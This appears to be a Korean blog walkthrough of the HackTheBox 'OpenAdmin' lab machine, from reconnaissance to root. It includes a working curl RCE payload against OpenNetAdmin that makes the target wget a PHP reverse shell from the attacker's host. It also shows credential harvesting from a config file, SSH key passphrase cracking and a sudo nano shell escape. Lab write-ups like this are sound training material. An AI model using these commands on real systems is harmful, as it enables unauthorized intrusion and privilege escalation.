안녕하세요~ 오늘은 드디어 첫 번째 모의 침투를 할 겁니다!
오늘 할 machine는 OpenAdmin입니다. 난이도는 easy이고 보시다시피 많은 사람들이 이 machine를 풀었네요! (총 21000명)
우리가 찾게 될 취약점은:
1) Remote Code Execution
2) 노출된 비밀번호와
3) 일반 유저에게 nano를 sudo 권한으로 실행시키기
시작하기 전에 드리고 싶은 말씀이 있습니다.
첫째, 제가 앞으로 할 모의 침투에서 사용되는 tool, command 등에 대한 자세한 설명이 없을 겁니다. HackTheBox는 어느 정도 기본 지식이 있어야 machine들을 풀 수 있는 홈페이지이므로 TryHackMe에서 기본 지식부터 배우시는 게 나을 것 같습니다!
둘째, 이 말은 아시죠? "The best defense is a good offense" 최고의 방어는 좋은 공격이다. 따라서 제 생각에는 자기의 네트워크나 홈페이지 등을 잘 방어하고 싶다면 최신의 공격 기술 알아야 된다고 생각합니다. 무엇으로부터 공격당하는지를 모르면서 어떻게 방어를 합니까?
!!!! 아울러 모의 침투에서 쓰이는 tool들은 비윤리적인 목적을 위해서도 쓸 수 있기 때문에 여러분이 저의 블로그 읽으시고 그 tool들로 뭐 하실지 그 책임은 저에게 없음을 알려드립니다. 여러분이 책임을 지셔야 되고, tool이나 exploit를 사용하기 전에 항상 코드를 잘 확인하고 아이피 주소가 맞는지 확인 잘 하셔야 됩니다.!!!!
자~ 이제 갑시다! 아이피 주소를 받았으니까 가장 먼저 해야 될 것은 nmap 스캔이겠죠? nmap으로 열려 있는 포트를 확인할 수 있고, 열려 있는 포트가 우리의 공격 vector가 될 겁니다!
보시다시피 포트 2개밖에 없습니다.
22: SSH. 우리에게 지금은 로그인 데이터가 없기 때문에 무 쓸모
80: 80포트는 홈페이지입니다 (http. https는 8080이나 이 machine는 없습니다)
그러면 브라우저를 열어 홈페이지를 봅시다.
Default Apache2 페이지네요? 도움이 안 되겠네요. 홈페이지마다 원래 다른 다이렉토리도 많습니다. 예를 들어 http://hankugmanse/login, http://hankugmanse/upload etc.
이런 다이렉토리를 bruteforce 해주는 프로그램이 많은데 우리는 gobuster 사용합시다.
gobuster: 프로그램 이름
dir: 다이렉토리 bruteforce (vhost, dns 기능도 있습니다! 예를 들어: http://abced.hankugmanse.com
-u: 우리가 공격하는 아이피 주소
-w: wordlist입니다.
music이라는 다이렉토리가 있네요? http://10.10.10.171/music에 가봅시다.
아하! 드디어 뭐 나왔다. Home, About, Pages, 등을 눌러보니까 아무 데도 가지 않는 링크들인데, Login은 /ona라는 다이렉토리가 있다는 것을 보여주네요? 가보니까 우리 첫 번째 취약점 확인이 됩니다.
첫 번째 문제는, 위와 "관리"홈페이지는 일반 유저가 절대 접근하지 못하게 해야 됩니다. 왜냐? 이 홈페이지 바로 무슨 software와 버전까지 알려주기 때문이죠!! 읽어보니, 오래된 버전이라고 뜨네요? 이 버전은 취약점이 있을 수 있다는 말입니다!
구글링을 좀 해보니까 RCE 취약점이 있다는 것을 알 수 있습니다.
User Own
많기도 하네요 ㅎㅎ.
취약점을 보니까 curl 명령으로 쉽게 악용할 수 있는 것 같습니다. RCE 취약점이니까 우리가 원하는 command를 실행시킬 수 있는 말이잖아요? 그러니까 간단한 whoami부터 해봅시다.
여기 RCE가 확인됐습니다. whoami 실행시켜보니 www-data가 나옵니다!
자~ 이제 reverse shell 받읍시다. 다양한 방법이 많습니다!
저는 제가 많이 쓰는 php-rev-shell 선택했습니다 https://github.com/pentestmonkey/php-reverse-shell
위에 왼쪽 사진: exploit 코드를 보냅니다: curl -s -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;wget http://공격자아이피/php-rev-shell.php&xajaxargs[]=ping" http://10.10.10.171/ona/
(wget는 파일 다운로드 command입니다)
위에 오른쪽 사진: 우리의 컴퓨터에 있는 파일을 다운로드하라는 명령을 보내기 때문에 webpage hosting 해야 됩니다. Kali Linux는 간단하게 python -m SimpleHttpServer 80라는 명령어로 그런 홈페이지를 hosting 할 수 있고, 피해자가 이제 우리 컴퓨터에 있는 파일을 다운로드할 수 있습니다. 위와 설명해드린 것처럼 RCE 취약점이기 때문에 우리가 원하는 뭐든지 다 할 수 있습니다!
밑에 오른쪽 사진: 업로드했기 때문에 http://10.10.10.171/ona/php-rev-shell.php 가면 악성코드 실행됩니다
밑에 왼쪽 사진: 피해자로 부텨 연결이 들어오고, 침입 완료!!!
자~ 근데 우리 아직 low priviliged 유저이기 때문에 권한상승을 해야 됩니다. /home 를 보니까 joanna하고 jimmy라는 유저가 있지만 권한이 부족해서 폴더에 들어가기 불자... (Permission denied)
Root Own
권한 상승이 가능한 길을 찾아주는 tool이 있기는 있지만 (예를 들어 리눅스 환경은: linpeas, linenum, 윈도우 환경은: winpeas) 우리는 일단은 혼자 해봅시다!
홈페이지가 있기 때문에 먼저 /var/www 확인하는 것이 좋을 것 같습니다. 조금 찾아보다가 var/www/html/ona/local/config/database_settings.inc.php 라는 파일을 발견했는데 뭔지 보니... 비밀번호가 나오네요...
최악의 상황이죠... 이제 비밀번호를 받았으니 로그인을 해볼까요?
리눅스는 su라는 명령어로 유저를 바꿀 수 있고, su jimmy와 비밀번호를 입력해 보니 되네요! 우리는 이제 jimmy입니다!
그다음에는 netstat -tulpen 확인합시다! 네트워트 상태를 확인하는 명령어이고, 보니까 52846포트에 뭔가 있는 것 같네요? Local Address 127.0.0.1이기 때문에 이 네트워크 안에 있는 컴퓨터만 접근할 수 있습니다. 따라서 처음에 nmap 스캔했을 때는 52846포트가 이 이유로 안 나왔던 거였습니다.
www 폴더를 보니까 internal이라는 폴더도 있네요... 52846포트와 관련이 있다는 감이 오네요~
internal 안에 있는 main.php를 보니까 joanna id_rsa key가 나옵니다.
cat localhost:52845/main.php 실행시키고... 결과는... joanna의 id_rsa입니다
이 id_rsa로 ssh 로그인을 해보니 passphrase가 있다고 뜨네요? 자~ 그럼 비밀번호를 john이라는 tool로 받읍시다
비밀번호는 bloodninjas이네요! 이제 passphrase까지 얻었으니 joanna라는 유저로 ssh로 그인 가능합니다!
하지만 아직도 권한이 가장 높은 유저 root 아니죠... 그래서 제가 가장 먼저 확인하는 것은 sudo -l입니다
우리 joanna 유저에게 sudo 권한으로 /opt/priv이라는 파일을 nano로 열 수 있네요?
이것을 어떻게 악용할 수 있을까? 바로 gtfobins이라는 홈페이지!
gtfobins에서는 suid binary, sudo 권한, 등을 어떻게 악용할 수 있는지를 알려줍니다.
오케이 그럼 이제 우리가 해야 될 것은?
1) 터미널에서 sudo /bin/nano /opt/priv 실행
2) nano가 열렸고, shif+R 그다음에 shift+x 이제 nano에서 명령어를 실행할 수 있습니다.
3) 우리에게 sudo 권한이 있기 때문에 우리가 실행시키는 명령어도 다 root이겠죠?
--> reset; sh 1>&0 2>&0 실행시키면 root terminal이 나옵니다!!!
우리가 이제 권한 가장 높은 root 유저가 되었고, 모의 침투 완료!
Easy box 이긴 하지만 그렇게 쉽지는 않았죠? 뭐 저는 그렇게 생각합니다 ㅎㅎ 아직은 초보라서!
읽어 주셔서 감사합니다! 다음에는 윈도우 모의침투 해봅시다 :)
Hack The Box 해킹 모의 침투 #7 (0) | 2022.05.30 |
---|---|
Hack The Box 해킹 모의 침투 #6 (0) | 2022.05.20 |
Hack The Box 해킹 모의 침투 #5 (1) | 2022.05.20 |
Hack The Box 해킹 모의 침투 #4 (0) | 2022.05.19 |
해킹 연습 방법과 해커들의 놀이터: HackTheBox (0) | 2022.05.19 |